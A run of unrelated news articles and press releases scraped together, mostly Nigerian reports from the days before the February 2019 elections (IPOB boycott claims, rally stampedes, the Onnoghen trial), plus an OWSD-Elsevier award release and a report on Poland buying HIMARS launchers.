Amira Shaheen , Palestine in Epidemiology: For her work investigating health care system responses to gender-based violence in primary and reproductive health services in Palestine. Her research investigates the readiness of health care systems to identify and refer women victims of violence, with the goal of improving identification and referral and bettering the women's situations. "As an epidemiologist, winning the OWSD-Elsevier Foundation Award is further evidence of the importance of putting results into practice in the field of public health," said Dr. Shaheen. "It gives me the courage to further research culturally sensitive issues, and it will motivate young health graduates to enter the field of public health."

Reference sheets for each award winner with a more extensive biography and description of their work are also available upon request.

About OWSD

The Organization for Women in Science for the Developing World (OWSD) provides research training, career development and networking opportunities for women scientists throughout the developing world. Headed by eminent women scientists from the South, OWSD has more than 7,000 members and runs various programmes, including a PhD fellowship programme with over 250 successful graduates from Least Developed Countries and sub-Saharan Africa, as well as an Early Career Women Scientists fellowship programme launched in December 2017. OWSD is the first international forum to unite women scientists from the developing world with the objective of strengthening their role in the development process and promoting their representation in scientific and technological leadership. OWSD is affiliated with The World Academy of Science (TWAS), a programme unit of UNESCO, and is based in Trieste, Italy, with national chapters throughout the developing world. www.owsd.net

About The Elsevier Foundation

The Elsevier Foundation provides grants to knowledge centered institutions around the world, with a sustainability focus on innovations in health information, diversity in STM, research in developing countries and technology for development. Since 2006, the Foundation has awarded more than 100 grants worth millions of dollars to non-profit organizations working in these fields. Through gift-matching, the Foundation also supports the efforts of Elsevier employees to play a positive role in their local and global communities. The Elsevier Foundation is a corporate not-for-profit 501(c)(3), funded by Elsevier, a global information analytics business. www.elsevierfoundation.org

About Elsevier

Elsevier is a global information analytics business that helps institutions and professionals advance healthcare, open science and improve performance for the benefit of humanity. Elsevier provides digital solutions and tools in the areas of strategic research management, R&D performance, clinical decision support and professional education, including ScienceDirect, Scopus, SciVal, ClinicalKey and Sherpath. Elsevier publishes over 2,500 digitized journals, including The Lancet and Cell, 38,000 e-book titles and many iconic reference works, including Gray's Anatomy. Elsevier is part of RELX Group, a global provider of information and analytics for professionals and business customers across industries. www.elsevier.com

Media contact

Domiziana Francescon, Program Officer

Elsevier Foundation

+31-610215901

d.francescon@elsevier.com

Erin Johnson, Communications Officer

OWSD

+39-040-2240-387

ejohnson@owsd.net

SOURCE ElsevierThe purchase of the US missile artillery system HIMARS will lead to the strengthening of the Polish army's defence potential as well as the security of our part of Europe and the eastern flank of NATO, President Andrzej Duda said Wednesday.

An agreement on the purchase of US HIMARS (High Mobility Artillery Rocket System) self-propelled rocket artillery was signed in Warsaw in the presence of President Andrzej Duda and US Vice-President Mike Pence. The price for 20 launchers with ammunition is USD 414 million.

See also: President: Thank you very much for your presence President Duda said that the aim of the modernisation programme is to supply the Polish army with modern equipment also used by armies of other NATO member countries. The President strongly stressed that the HIMARS system is a weapon which has already been tested in combat conditions.

He stressed that this is the first stage of the modernisation programme. "I believe that we will continue to develop our military potential, that after the purchase of the Patriot system, this is the next stage in the development of our defence. I believe that we will continue with the purchases," said Andrzej Duda mentioning helicopters and other fighter and transport aircraft.

The President announced that by 2030 at the latest the Polish defence budget should increase to 2.5 percent of GDP and assured that Poland is a credible NATO member that fulfils its obligations.

Vice-President Mike Pence addressing the ceremony said: "We are with you, we will stand with you, and the United States of America stands with Poland as a part of the most successful mutual defence alliance in the history of the world, and we always will."

Today, "the world is even a more dangerous place today than it was since the fall of Communism a quarter-century ago. And to confront the threats that we face today, the people of Poland know, and the people of the United States know, that the free world needs the members of NATO to be strong and united. And so we are. We stand together in defence of our alliance and all that we hold dear. And each member nation, we know, has a vital role to play," stressed Mike Pence.

"At the heart of our NATO Alliance is a solemn promise that an attack on one is an attack on all. But to keep this oath requires preparation, it requires investment. And for every NATO member to uphold their commitment to our common defence, we need to work together," noted the US Vice-President. (PAP)ADVERTISEMENT

The Ebonyi State Governor, David Umahi, has urged the South-east to ignore the Indigenous People of Biafra, IPOBs call to boycott the general elections starting on Saturday.

The governor made the call in a press conference on Wednesday in Abakaliki, the state capital.

IPOB, led by Nnamdi Kanu, who is on exile, has asked the people of the zone not to take part in the elections.

The group, seeking an independent state of Biafra, said the boycott will serve as a form of a referendum of the predominantly Igbo people of the South-easts wish to secede from Nigeria.

But, Mr Umahi, who is also the Chairman of the South-east Governors Forum condemned the call.

I want to appeal to Ebonyians to disregard any call for elections boycott. In fact, if we are able to give N1.2 million votes, that will be my pride.

The people that are lacking knowledge and facts should be ignored. Nigerians must come out and vote, Ebonyians must come out and vote, Igbo must come and vote. We are still one indivisible Nigeria.

You may not be happy with certain things but it is normal but we (will) continue to dialogue, we (will) continue to insist, we continue to negotiate.

Mr Umahi also condemned the recent outbreak of violence in some parts of the state which he said was orchestrated by a major political party.

He counselled the politicians and residents to be law-abiding.

We are not known by violence, power belongs to God. The state has laws and everybody has to operate within the ambit the law of the state and that of the federal government.

Anybody who causes violence in the name of elections, in the name of campaigns must be brought to book, he said.

He said the cases of violence in Ikwo have been reported to the Commissioner of Police.

I want to plead that we do have violence-free elections on 16th of February and on the 2nd of March. It is very important.The Nigeria Army has debunked allegations of killings and abduction of members of the Indigenous People of Biafran, IPOB in the Southeast.

The spokesperson of the 83 Division of the Army in Enugu, Sagir Musa, stated this in a statement on Tuesday.

He was reacting to an earlier statement by the pro-Biafra groups spokesperson, Emma Powerful, who claimed the Army killed two persons in Owerri and abducted many others including a couple whose whereabouts remain unknown.

The Nigerian Army is at it again. Yesterday (Monday), they shot dead two young men in Owerri. Last night and this morning they have commenced their abduction of Biafrans in Aba, began Mr Powerfuls statement.

Biafrans are now the longest suffering race in human history. One day the anger will no longer be controllable and the world will wake up then to start pontificating, he warned.

He alleged that the Nigerian Army is conducting a stealth genocidal war against Biafrans and it is the responsibility of the world to take note.

We have been made to feel that a Biafran life is worthless. Let these facts be chronicled for posterity because we shall reference them at the appropriate time. Any day we start, let the world not blame us. Those that gave the Nigerian army license to kill our people will regret it, them and their families.

Nigerian Army must release those they abducted including a husband and wife they kidnapped this morning.

The IPOB spokesperson said the groups decision to boycott elections is an act of civil disobedience which any reasonable person ought to understand.

That Nigeria is an uncivilised backward society is not the fault of IPOB. We have chosen a civilised, nonviolent approach but it appears that (the) Nigerian Army is hell-bent on provoking us to pick up arms. When that eventually happens, the world should know those to hold responsible, he added.

But in a swift reaction, Mr Musa who was recently elevated to the spokesperson of the Nigerian Army described the claims by IPOB as dubious.

Contrary to the dubious and bunkum claims made by the proscribed Independent People of Biafra (IPOB), I wish to state that there was nobody that was manhandled, shot, wounded, abducted or killed by a soldier or soldiers of the Nigerian Army (NA) in Abia and Imo States or in any other State of the South East geopolitical zone.

As a professional and responsible organisation, the NA, under the leadership of Lieutenant General Tukur Yusuf Buratai has variously and sufficiently  (both in deeds and actions) made it clear that it will not encourage or condone any form of professional misconduct, especially human rights abuses, he said.

Immediate past Chief of Army Staff, Tukur Buratai. [PHOTO CREDIT: Official webpage of the Nigerian Army]

He accused IPOB of deliberately making such selfish and wicked propaganda and misinformation for mischievous reasons.

The NA ably represented by the 82 Division in the South East, will continue to protect the lives and properties of all Nigerians in the zone and is determined to ensure peaceful and secured conduct of free, fair and credible 2019 general elections

For awareness and further clarification,  civilians are not detained in conventional army detention centres except under exceptional situations such as on charges of terrorism, insurgency or any form of armed insurrection, among others.

He said anyone arrested by the army during the ongoing Exercise EGWU EKE 111 has been handed over to the police for further action.

Mr Musa also enjoined members of the public to disregard any form of divisive and inciting propaganda, particularly the ones coming from the likes of miscreants and outlawed organizations like IPOB.

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The police in Rivers State have said it would investigate the stampede at Adokiye Amesiemeka Stadium, Port Harcourt, during the All Progressives Congress (APC) rally on Tuesday.

Making this known in Port Harcourt, spokesman of the command, Nnamdi Omoni, told News Agency of Nigeria (NAN) four people died in the stampede.

As a command, we will investigate the cause of the stampede. We are hearing different versions as to the cause of the incident.

At the end of our investigation, we will write our report and any person or group of persons responsible for it will be sanctioned, he said.

NAN recalls that no fewer than 11 persons were reported to have died at the same Adokiye Amesiemeka Stadium in 2015, during a People Democratic Party (PDP) presidential rally.

On Saturdays Presidential and National Assembly elections, Mr Omoni, a Deputy Superintendent of Police (DSP), said 15,000 personnel out of the 16,000 in the command would be deployed to the 23 local government areas of the state elections.

According to him, three policemen are expected to be at a polling unit during the elections.

(NAN)Ex-armed men, once notorious for the long-run militancy in Nigerias oil-rich Niger Delta, are set to endorse President Muhammadu Buharis re-election bid, PREMIUM TIMES has learnt.

The endorsement is to come at a press conference scheduled to hold in Port Harcourt today, Wednesday. The conference is to be addressed by Victor Ebikabowei, also known as General Boyloaf, a source close to Boyloaf told PREMIUM TIMES.

PREMIUM TIMES has previewed the text of Boyloafs address, which notes the tension between the ex-militant leaders, now cooperating under the aegis of Peace Ambassadors of the Niger Delta, and the Buhari government at its inception.

It reads: In spite of the tense beginning and moments we have had with the current administration following his defeat of our brother Goodluck Jonathan, we have formed a new partnership for the Niger Delta and have seen a deep-seated commitment to addressing the issues that we in the region are facing.

We have to give special credit to Vice President Yemi Osinbajo for painstakingly leading the engagements in the Niger Delta and assuring us of his plans.

Apart from Boyloaf, other ex-warriors believed to be at the vanguard of the move are Government Ekpemupolo, alias Tompolo, wanted by the Economic and Financial Crimes Commission over allegations of money laundering; Ateke Tom, now a traditional ruler; Bibrope Ajube, also known as General Shoot-at-Sight; and Farah Dagogo, who is the Peoples Democratic Party candidate for the Bonny/Degema federal constituency election.

In the Niger Delta, these are people who matter, said our source, playing down the influence of Edwin Clark, respected Niger Delta leader who is supporting PDPs Atiku Abubakar. Edwin Clark is well respected but hes old.

On Mr Dagogo, a PDP member currently in the Rivers State House of Assembly, our source said: this is not about a political party. It is not about endorsing APC. It is about Buhari.

The Niger Delta is a region where Mr Abubakar is expected to record a clear win. Apart from being traditionally a PDP home, Mr Abubakars core campaign vow to restructure the country to allow states have greater responsibilities and control of resources appeals to the region, long drawn in agitations for resource control and more development.

However, the endorsement of Mr Buhari by the ex-warriors who wield some influence in the region may swing some votes across the states in the region to APC.

According to our source, the endorsement would be a part of a peace workshop promoted by the ex-militant leaders.

They were high-ranking commanders of the Movement for the Emancipation of the Niger Delta, MEND, and also ran, separately, camps of guerrilla fighters spending years in violent protest of the environmental degradation and socio-economic underdevelopment of the Niger Delta.

But in 2009, they accepted the amnesty programme initiated by late President Umaru YarAdua.

They enjoyed generous government patronage during the administration of President Goodluck Jonathan, who offered them contracts to safeguard oil and gas infrastructure. They then supported Mr Jonathans re-election bid, which failed in 2015.

The amnesty programme led to relative peace in the region but attacks on oil and gas installations were renewed by a group Niger Delta Avengers following Mr Jonathans loss.

The Avengers were condemned by Boyloaf and Tompolo in separate reactions. MEND also described the group as a bunch of criminals at the height of their violent campaign which affected Nigerias crude production.

The Niger Delta is volatile and has remained largely impoverished, despite decades of oil production that has provided much of the cash Nigeria uses. Trillions of naira in federal allocations to the region have not changed much.

But the endorsement of Mr Buhari by the big five ex-militant leaders, according to our source, follows his governments efforts on Niger Deltas environmental and development concerns, including Ogoni cleanup and infrastructure.

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Unknown gunmen on Tuesday abducted Monday Aighobahi, the Director General (DG) of the campaign organisation of the All Progressives Congress (APC) candidate for the Ovia Federal Constituency of Edo, Dennis Idahosa.

Mr Idahosa, former council chairman of the area, said the abducted DG of his campaign organisation was at Ofosu, Ogbogui Ward to canvass for votes. He said the director general was kidnapped shortly after a campaign rally at Ofosu.

I was at the rally at Ofosu with him and left shortly after for other places in continuation of my campaign.

He was left behind to sort some things out after which he was to join us at another campaign location afterwards, he narrated.

Mr Idahosa alleged that the abduction was politically motivated as Mr Aighobahi has a stronghold of the ward.

Politically, Aighobahi has a stronghold of the ward and my opponent knows this. I am not out to see bloodshed; so I will urge all to go about the electioneering in a very peaceful way.

While urging the abductors to release their captive unconditionally, I appeal to my supporters and the people of Ovia to remain calm, he said.

Mr Idahosa, however, said he remained resolute in his quest to win the seat for the Ovia Federal Constituency in the House of Representatives.

Contacted, the state Commissioner of Police, Hakeem Odumosun, said he had yet to be briefed on the incident, but promised to verify from the Divisional Police Officer (DPO) of Okada.

(NAN)ADVERTISEMENT

President Muhammadu Buhari has expressed sadness over the tragic death of some members of the All Progressives Congress (APC) in a stampede at the presidential campaign rally in Port Harcourt, Rivers, on Tuesday.

Sahara Reporters reported that four people died in the stampede. Many others were injured.

The presidency did not, however, quote any casualty figure.

In a statement issued by a presidential spokesman, Garba Shehu, President Buhari extended deepest condolences to the families and friends of the victims.

He also wished a speedy recovery to all those injured.

The president described the deaths as needless loss of lives and an anti-climax to a highly successful outing in the oil city that could have been averted if there was an orderly exit from the Adokiye Amiesimaka Stadium.

It is indeed a great tragedy that Nigerians who have important roles to play in shaping the future of the country and had come to see and hear from us how hard their government is working to build a Nigeria of their dreams, would meet their end in this unfortunate circumstance.

I assure the people, with all sense of responsibility, that the party and the government will do everything possible to ensure the well-being and safety of our citizens as they troop out to attend rallies and all other political events, he said.

President Buhari assured the government and the people of Rivers State as well as the affected families of the support and prayers of the federal government during this difficult time.

The Port Harcourt deaths occurred about a week after eight people died at another APC presidential rally in Taraba State. The presidency blamed the Taraba deaths on overcrowding.

The deaths raise concerns about crowd management at political rallies as Nigeria gets ready for general elections.

The presidential and federal parliamentary elections will hold on February 16. State elections will hold on March 2.President Muhammadu Buhari has appealed to the electorate to give the governing All Progressives Congress (APC) another four years to complete all the ongoing developmental projects and to initiate fresh ones.

The president, who made the appeal at the Federal Capital Territorys Presidential rally of the APC, said his administration would continue to ensure efficient utilisation of the nations scarce resources in the provision of infrastructural facilities across the country.

He, therefore, assured citizens that government would continue to use the little resources at its disposal to make life better for them.

He said: We have done a lot to start building the infrastructure  the roads, you know it more than I do; the railway and then power  we are going to get them done.

If you give us the next four years I assure you, you wont regret it.

Mr Buhari also insisted that those involved in the wastage of over 16 billion dollars on power sector without any meaningful results under the previous administrations would be investigated and anyone found wanting would be prosecuted.

Although the president did not mention whose administration spent the money, the administration of former President Olusegun Obasanjo was in power when the projects were initiated and executed.

The House of representative had in 2008 launched investigation into the execution of the projects.

Mr Buhari said: You know there was no power under the previous administrations, and a previous government admitted without anybody asking them, that they spent $16 billion for power. You know more than I do  Where is the power? Where is the money?

My point is on bribery and corruption, which is one of my three areas of focus. Those people who say they spent 16 billion dollars on power, they will account for it.

Yes, we are under a system now. Those who have been given responsibilities, in the three tiers of government; the Federal, States and Local Governments as they are busy, we will ask anti-graft agencies to investigate and prosecute them.

We have already done a lot of cases, you know it, they came here and bought properties here in Abuja, and they invested outside the country.

We are appealing to different States in Europe and America to please help us recover looted government properties, which we are now putting back to building infrastructure.

The president used the opportunity to seek for votes from Nigerians of voting age, as they go to the polls on Saturday.

Governor Yahaya Bello of Kogi State, who also spoke at the rally, called on the youth to come out and massively vote for Mr Buhari and other APC candidates in the general election.

The News Agency of Nigeria (NAN) reports that Mr Buhari, who will be concluding his nationwide rally in Katsina, his home state, on Thursday, has so far held rallies in 35 States and the Federal Capital Territory (FCT).

The president is expected to move to Daura immediately after the Katsina rally, where he will cast his vote on Saturday.

(NAN)

ADVERTISEMENTThe British High Commissioner to Nigeria, Catriona Laing, has warned that Nigerian politicians who incite or execute violence during Saturdays elections would have their visas banned and assets in the UK seized.

Ms Laing gave the warning at a press briefing on Wednesday in Abuja to unveil the Election Situation Room of the Civil Society Situation Room set up by a coalition of civil society organisations to monitor the polls in Abuja.

She reminded political parties that apart from their assets being seized in the UK, they could experience a worst case scenario of prosecution.

We will apply this absolutely across board not directed to any particular party; so, we are monitoring and looking out for hate speech.

We are concerned about the Peoples Democratic Party (PDP) rally which has hate speech a lot and we will like to call that kind of thing out.

Our two worries are on security not just on the role the police will play to ensure peace but about the role individuals play by getting angry or militias being paid to disrupt elections .

Then, another worry is fake news (and) that is why we rely on CSOs and we will work with them to get information, she said

UN Secretary-General for West Africa and the Sahel, Mohamed Ibn Chambas, thanked the CSOs for the launch of the situation room, describing it as a good work toward the elections.

Mr Ibn Chambas said it showed that the groups were prepared for the elections and ready to monitor the voting process thus helping UN with ideas on the process in the country.

The American Ambassador to Nigeria, Stuart Symington, said the special thing with the room was not just about that CSOs would say and do but about what every Nigerian would say and do.

The time has come for this outside world that cares so much about Nigeria to listen to the people of Nigeria and to see what each of them do and then forward the results to lift Nigeria up, Mr Symington said.

Head of the EU Delegation to Nigeria, Ketil Karlsen, said the work of CSOs over the last years gave hope that continued consolidation of democracy clamoured for internally could happen.

Jude Illoh, Country Director of Open Society for West Africa (OSIWA), said that though there a lot of apprehension about the election, Nigeria would overcome it.

Mr Illoh said Nigerias democracy had experienced good progress.

We have defied dictators, we have defied civil war and everything you can imagine, insurgency terrorism everything thrown at us we are still standing.

I can tell you that the morning after the election we will be standing as a country, proudly Nigerians,  he said.

Clement Nwankwo, the convener of the Situation room, said the situation room would help monitor the election and give Nigerians information as it came in order to guarantee free, air and credible elections.

(NAN)

ADVERTISEMENTThe National Chairman of the All Progressives Congress (APC), Adams Oshiomhole, has alleged that the Independent National Electoral Commission (INEC) is working for the opposition Peoples Democratic Party (PDP).

Mr Oshiomhole made the allegation at a press briefing in Abuja on Wednesday. He was reacting to allegations by the PDP that the APC is behind the fire incidents in INECs offices in different states of Nigeria.

INEC is working more for PDP. I can show, Mr Oshiomhole said.

He cited the commissions decision to ban APC from presenting candidates in Zamfara State as one of the evidence of INECs alleged collusion with the PDP.

INEC without giving us any explanation and without giving any concrete evidence went ahead to say that we cant field candidates in Zamfara State, therefore, seeking to annul democracy in Zamfara State, the ruling party chairman said.

Contrary to Mr Oshiomholes claim that INEC gave it no explanation on Zamfara, PREMIUM TIMES reported how the electoral commission wrote the APC on its decision in Zamfara. The electoral commission said it took the decision to ban APC because the party did not hold its primaries within the stipulated period.

Speaking on the fire incidents in some INEC offices, Mr Oshiomhole said it is the APC that should be alleging the PDP is responsible for the fire incidents.

If anything, we are the ones that should raise suspicion that the states where these incidents have occurred are in states where PDP is not in office, he said.

So I can accuse them of doing this because they cannot win the election in those states. But I am not going to join them. Truth is the sensible thing to do is to challenge the security agencies and INEC to find out what happened, and what went wrong.

Mr Oshiomhole said if PDP chooses to make allegations, they are free, but the APC would not join them and be distracted.

PREMIUM TIMES reported the fire incidents in INEC offices in Abia, Plateau and Anambra states. Of the three, Abia is governed by the PDP, Plateau by the APC and Anambra by APGA.

Two INEC RECs

The party chairman also alleged that two resident electoral commissioners (RECs) in the South-south states were working for the PDP.

File photo of The National Chairman of the All Progressives Congress (APC), Adams Oshiomhole, addressing the press.

As we speak, there are two RECs in the South-south who are actually campaigning line by line with PDP.

Mr Oshiomhole, however, did not name the RECs or the states. All but one of the six states (Edo) in the South-east is controlled by the PDP.

Mr Oshiomhole urged the electorate to vote for President Buhari and other APC candidates, saying the APC-led federal government has done a lot and needs to be supported to do more.

He gave several reasons why the electorate should not think the PDP has changed and will do better than it did in the 16 years it held power at the centre.

He described the PDP as old wine in old poisonous wineskin.

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He also said Mr Buhari was a victim of rigging under the PDP and so the PDP is not in the moral position to accuse him of planning to rig.

Muhammadu Buhari who has been the victim of election rigging three times before he got the fourth one.

Rented Crowd

Speaking on the crowds that greeted the PDP in states believed to be APC strongholds like Kano and Lagos, Mr Oshiomhole said PDPs crowds were rented.

Will you compare that rally in Kano to the one where everybody was wearing a uniform. To know the difference between a rented crowd and ours is to look at the number of people wearing T-shirts and caps.

He said his party is not jittery and predicted this will be the easiest election for the ruling party.

This election is for us, no election can be easier and we will defeat PDP. There will be no violence, just vote, it will be counted and we will win.ADVERTISEMENT

The Plateau State High Court has granted bail to seven persons accused of killing the late army general, Idris Alkali.

The suspects were arraigned for allegedly being complicit in the killing of the former Chief of Administration, Army Headquarters, who was killed while on his way from Abuja to Bauchi last year.

The court had in December granted bail to 20 other suspects.

They are standing trial on a five-count charge of criminal conspiracy, culpable homicide, failure to give information to security agents of a crime, unlawful assembly for the purpose of committing an offence, and resisting search for the late general.

Bail terms

At the hearing on Wednesday, the judge, Daniel Longji, granted the seven suspects bail in the sum of N5 million each.

They are each also to produce a surety who must deposit a certificate of occupancy of landed property within the courts jurisdiction.

According to Mr Longji, the bail was generally at the discretion of the court which must be applied accordingly.

The judge said he was granting the bail so as to respect the constitutional provision that an accused person is presumed innocent until proven guilty.

He also said, there are about 24 accused persons and about four or five lawyers representing the different accused (persons), this will make the trial unwieldy and cumbersome.

Mr Longji postponed the trial to April 16 and 18.

The remains of the dead army general were found days after he was declared missing on September 3, last year, on his way to Bauchi.The National Chairman of the All Progressives Congress (APC), Adam Oshiomhole, says President Muhammadu Buhari is not a sit-tight president.

Mr Oshiomhole, who spoke at a news conference in Abuja, said the president needed a second term to consolidate on his achievements and to move Nigeria to the next level.

We are committed to free and fair elections and President Buhari is not a sit-tight President, the APC national chairman said.

Mr Oshiomhole said what President Buhari was asking for was a second term in office which was constitutional, saying his desire was to take Nigerians to the next level of infrastructure and economic development.

Allowing President Buhari and the APC Government to go for a second term in office, will sustain achievements made so far and take the country to the next level of infrastructure and economic development, he said.

The APC national chairman, however, said as Nigerians would go to the polls on Saturday, they should reflect on certain statements made by Atiku Abubakar, the Peoples Democratic Party (PDP) presidential candidate during his campaigns.

This, he said, included Mr Abubakars statement on privatisation, corruption, tradermoni and restructuring.

Mr Oshiomhole alleged that Mr Abubakar during one of his campaigns had said that rather than prosecute looters of the public treasury, he would pardon them.

He also recalled that Mr Abubakar in one of the statements during his campaigns said he would privatise the countrys national assets.

The APC national chairman said this would not be in the interest of the common man.

He said that the President Buhari-led administration had been able to curtail the Boko Haram menace and other forms of insecurity in some parts of the country.

The country and the North-east is much more safer now, compared to the situation in the past, Mr Oshiomhole said.

The APC national chairman said that the APC administration even with declining revenue, had devoted much more funds to critical sectors of the country like rail, road and electricity.

He assured Nigerians and the international community that the coming elections would be free, credible and fair.

Nigeria, an independent nation

The APC national chairman specifically assured foreign observers of their safety, saying that: they are our friends and guests; they do not have any reason whatsoever, to be afraid, we see them as partners in progress.

He, however, maintained that Nigeria is an independent and sovereign nation and would, therefore, not tolerate undue interference in its internal affairs by the international community.

Mr Oshiomhole urged politicians, the media and the general public to place the nations interest above all other interests, before, during and after the elections.

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We should all work had to uphold the integrity and sovereignty of our nation, as politicians and as media practitioners, let us pray that as we go for these elections, it will be a simple exercise, he said.

He debunked insinuations that the Independent National Electoral Commission (INEC) was working in favour of the APC.ADVERTISEMENT

The Economic and Financial Crimes Commission (EFCC) on Wednesday announced that it would reward any Nigerian with useful information on vote-buying in the forthcoming elections.

The Acting Head, Media and Publicity of the commission, Tony Orilade, made the announcement in a statement in Abuja.

The commission said the reward was in accordance with Whistle-Blowing policy.

As part of collaboration for successful elections, the Economic and Financial Crimes Commission (EFCC) has warned against vote-buying ahead of Saturdays elections.

The Acting Chairman of EFCC, Mr Ibrahim Magu, has repeatedly warned against voters inducement.

He had also said that the full weight of the relevant laws will be applied against perpetrators and receivers of illicit funds to undermine the elections and national security.

There are existing laws in the Electoral Act, 2010 which forbid voters inducement.

For the avoidance of doubt, Section 124 of the Electoral Act, 2010, says that any person paying money to the electorate as bribe at any election is liable to punishment of N500, 000 fine.

The person is also liable to 12 months imprisonment or both upon conviction.

The section also states that any person receiving any money or gift for voting or to refrain from voting at any election will be liable to a maximum fine of N500, 000 or 12 months imprisonment or both.

The EFCC urged Nigerians to avoid or resist inducement from corrupt politicians and vote for the candidates of their choice.

Our investigations and intelligence gathering sources have revealed that certain corrupt politicians have perfected plans to pollute the electoral process with illicit and looted funds.

We also have intelligence reports on the plans by some countries in collaboration with some politicians and looters to bring in foreign currencies to induce voters and undermine the elections.

But, our operatives, in collaboration with sister agencies, are doing everything possible to block the illicit funds and ensure credible polls in the country.

It is our collective duty to resist attempts to corrupt our electoral process by exposing the evil perpetrators, he said.

(NAN)The Chief of Army Staff, Tukur Buratai, on Wednesday inaugurated the Nigerian Army Situation Room for the 2019 General Elections Security Monitoring.

Speaking after inaugurating the situation room, Mr Buratai said his men would be able to respond in three to five minutes to any security breach during the elections.

Some almost immediately as the situation demands, the army chief said. Mr Buratai also issued some emergency lines for the public to use.

He said the time response would be possible because not only because of troops deployment for the exercise but the fact that the army has units and formations across the country.

We have troops on patrol, we have them on standby and they will be to respond quickly.

All the formations, the GOCs, Brigade Commanders, we have links to them. We can reach within the shortest possible time.

He gave the assurance that the army would work closely with the Police, Department of State Services (DSS), Nigerian Security and Civil Defence Corps (NSCDC) and other stakeholders in providing security for the elections.

Earlier, he said the situation room had been reconfigured for real-time monitoring of events during elections.

Mr Buratai said the army saw the need to devise new strategies of stemming security breaches during elections and even completely eliminate them.

Categories of violence

He noted that such violence falls into three categories: pre-election violence; violence during elections and post-election violence.

Violence at the various phases of elections include thuggery, snatching of ballot boxes and papers or kidnapping or abduction of electoral officers and party agents and wanton destruction of lives and properties.

According to him, having observed violence reoccur severally in electioneering processes, the Nigerian army deemed it necessary to adopt a proactive and responsive posture.

He said that posture would enable the army to better respond to early signs of insecurity before they could escalate into a major security challenge.

Fake news, propaganda

Mr Buratai also noted the threat of fake news and false propaganda pose to both the democratic process and military operations.

He said the use of media, especially social media, to deliberately spread fake news should be a thing of concern to all.

The rapid spread of fake news has been responsible for misinformation, thereby having an influence on public sentiment and sow confusion among the electorate or even easily ignite violence during the period of the 2019 general elections.

He said the Nigerian army through its Cyber Warfare Command has been continually engaged in monitoring, identifying and countering various forms of fake news and propaganda being put out by terrorists and subversive elements.

Mr Buratai said the army would collaborate with the Civil Society Organisations (CSOs) and other stakeholders to confront the menace of fake news during the elections.

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Emergency lines

Mr Buratai provided phone lines for the public to report any breach of security during the period, as well as misconduct on the part of troops deployed for the exercise.

The numbers are 07017222225, 09060005290 and 0809990013.

He urged members of the public to utilise the Nigerian Army Information Call Centre shortcode 193 from any network or the NA iReport platform on https://army.mil.ng.

(NAN)ADVERTISEMENT

The African Centre for Media and Information Literacy (AFRICMIL) has called on the MD/CEO of Nigerian Bulk Electricity Trading Plc, Marilyn Amobi, to immediately stop the victimisation of two whistleblowers, Sambo Abdullahi, Deputy General Manager and Head of Internal Audit, and Waziri Bintube, General Manager and Chief Finance Officer.

In a statement signed by Chido Onumah, Coordinator of AFRICMIL, the organisation expressed concern over the management style of the NBET boss which has for long been overshadowed by allegations of fraud, abuse of office and harassment of both management and non-management staff. A high point of the public criticism of Ms Amobis management, the statement said, is the persistent victimisation of two officers  Sambo Abdullahi and Waziri Bintube, for carrying out their duties in accordance with the rules and regulations of public service.

We are aware that you have stopped the salaries and other entitlements of these officers since December 2017 allegedly for offences including writing petitions and embarking on leave without approval. We are also aware that Messrs Sambo and Bintube have since been absolved of any wrongdoings after an investigation by the Ministry of Power, Works and Housing which supervises NBET. Indeed, it is on record that the Hon Minister of Power, Works and Housing, Mr. Babatunde Fashola, SAN, had on more than one occasion directed you to treat these officers as NBET staff and effect the payment of their outstanding salaries and other entitlements, AFRICMIL noted in a letter to Ms Amobi. The organisation said it was disturbed that Ms Amobi had not complied with the directive of the Ministry of the Ministry of Power, Works and Housing.

AFRICMIL reminded the NBET boss that these officers deserve commendation and protection, and not victimization, for acting as whistleblowers in line with the anti-corruption policy of the current administration.

The organisation requested Ms Amobi to take immediate steps to end the ongoing victimisation of these officers by complying with the directives of the Ministry of Power, Works and Housing asking that they be recalled and their outstanding salaries and allowances paid.

The AFRICMIL statement comes on the heels of a two-part investigative report published last week on the alleged fraudulent activities at NBET under Ms Amobi, and her victimisation of whistleblowers who refused to co-operate with her in the perpetration of illegality at NBET. The report by Leaks Ng was compiled by the Coalition for Whistleblower Protection and Press Freedom (CWPPF).

Chido OnumahADVERTISEMENT

The National Judicial Council (NJC) has inaugurated a five-member committee to investigate allegations against the suspended Chief Justice of Nigeria, Walter Onnoghen, and the acting CJN, Tanko Mohammad.

The council announced this development in a statement on Wednesday by its spokesperson, Soji Oye.

The NJC also said it received another petition against Mr Mohammad.

The council had said on Monday it would constitute a complaints committee and reconvene on Wednesday, after examining the petitions against the two top judicial officers.

In a new statement after its meeting on Wednesday, the NJC said the committee would be made up of five members and is to be chaired by a retired Justice, S. A Akintan.

In continuation of its Emergency Meeting, the National Judicial Council accepted the result of the preliminary assessment of the petitions against Hon. Mr. Justice W. S. N. Onnoghen, GCON and Hon. Mr. Justice I. T. Muhammad, CFR that the petitions were worthy of further investigation and should not be terminated under Rule 17 of the Judicial Discipline Regulations of the Council.

Consequently, the council constituted a five-member Investigation Committee pursuant to Rule 20 (1) of the Judicial Discipline Regulations under the Chairmanship of Hon. Mr. Justice S. A. Akintan, CON, a retired Justice of the Supreme Court of Nigeria.

A new petition against Hon. Mr. Justice I. T. Muhammad, CFR, by the Action Peoples Party (APP) was referred to the Hon. Mr. Justice for his comments within an abridged 7-days.

 Council directed the Investigation Committee to work expeditiously, determine all the petitions and responses and report to Council for a final decision, the statement by Mr Oye said.

The NJCs decision came just as the Code of Conduct Tribunal, where Mr Onnoghen is facing trial on six counts of false assets declaration, ordered the arrest of the suspended CJN.ADVERTISEMENT

The Code of Conduct Tribunal (CCT) on Wednesday ordered the arrest of the suspended Chief Justice of Nigeria, Walter Onnoghen.

The tribunal asked the Inspector General of Police and the Director-General of the State Security Service (SSS) to arrest and produce Mr Onnoghen.

The Chairman of CCT, Danladi Umar, issued the bench warrant following the absence of Mr Onnoghen in court.

He added that Mr Onnoghen must be available for arraignment on February 15.

Mr Umar had at the last sitting informed the defence team that his tribunal would need Mr Onnoghen to be present at the next adjourned date, which is today.

This is after Mr Onnoghens counsel filed an application arguing that the CCT lacked the jurisdiction to try the chief justice.

According to Mr Umar, any application against the jurisdiction of the court would only be entertained after the plea of the accused has been taken.

Mr Onnoghens absence in court today did not stop the CCT from sitting. His counsel, Adeboyega Awomolo, explained to the tribunal that as at the time the court was sitting, maybe the CJN was attending a National Judicial Council meeting.

But the prosecution counsel, Aliyu Umar, opposed the argument which also did not satisfy Mr Umar.

The Trial

Mr Onnoghen is facing trial on six counts of alleged false assets declaration.

